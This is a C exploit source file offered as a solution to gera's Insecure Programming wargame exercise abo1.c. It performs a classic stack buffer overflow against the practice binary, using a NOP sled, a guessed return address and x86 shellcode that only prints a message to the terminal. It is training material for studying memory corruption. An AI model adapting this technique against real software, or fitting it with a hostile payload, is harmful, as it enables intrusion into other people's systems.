/* 
 * [exp-abo1.c] Thu Mar 23 03:12:39 CET 2006
 *
 * abo1.c exploit - solution 1
 * http://community.core-sdi.com/~gera/InsecureProgramming/abo1.c
 * 
 * Copyright: bunker - http://rawlab.altervista.org
 * 37F1 A7A1 BB94 89DB A920  3105 9F74 7349 AF4C BFA2
 * 
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define NOP	    0x90
#define BUF	    280
#define ALIGN	    400

char sc[]=
// nice message to tty :-D
"\x6a\x05\x58\x31\xc9\x51\x68\x2f\x74\x74\x79\x68\x2f\x64\x65\x76"
"\x89\xe3\x66\xb9\x72\x17\xcd\x80\x89\xc3\x6a\x04\x58\x99\x52\x68"
"\x65\x72\x65\x21\x68\x61\x73\x20\x68\x68\x65\x72\x20\x77\x68\x62"
"\x75\x6e\x6b\x89\xe1\x6a\x10\x5a\xcd\x80\x6a\x01\x58\x31\xdb\xcd\x80";

unsigned long sp(void) { __asm__("movl %esp, %eax"); }

int main(int argc, char *argv[]) {	
    int i, offset = 0;
    long esp, ret, *ptr_addr;
    char *buffer, *ptr;

    if (argc < 2) {
	printf("Use %s <offset> (default is 0)\n",argv[0]);
	offset = 0;
    }
    else {
	offset = atoi(argv[1]);
    }

    esp = sp();
    // ret can be customized by offset at runtime
    // ALIGN compensates sp()
    ret = esp - offset + ALIGN;
    
    printf("esp: 0x%08x\n", esp);
    printf("ret: 0x%08x\n", ret);
    
    buffer = malloc(BUF);
    ptr = buffer;
    ptr_addr = (long *) ptr;
    
    // all buffer with ret
    for(i=0; i<BUF; i++) {
	*(ptr_addr++) = ret;
    }

    // half buffer with NOP
    for(i=0; i<BUF/2; i++) {
	buffer[i] = NOP;
    }
    ptr = buffer + BUF/2 - 1;
    
    // shellcode in buffer
    for(i=0; i<strlen(sc); i++) {
	*(ptr++) = sc[i];
    }

    buffer[BUF-1] = 0;

    // boom!
    execl("./abo1", "abo1", buffer, NULL);
    free(buffer);
    return 0;
}

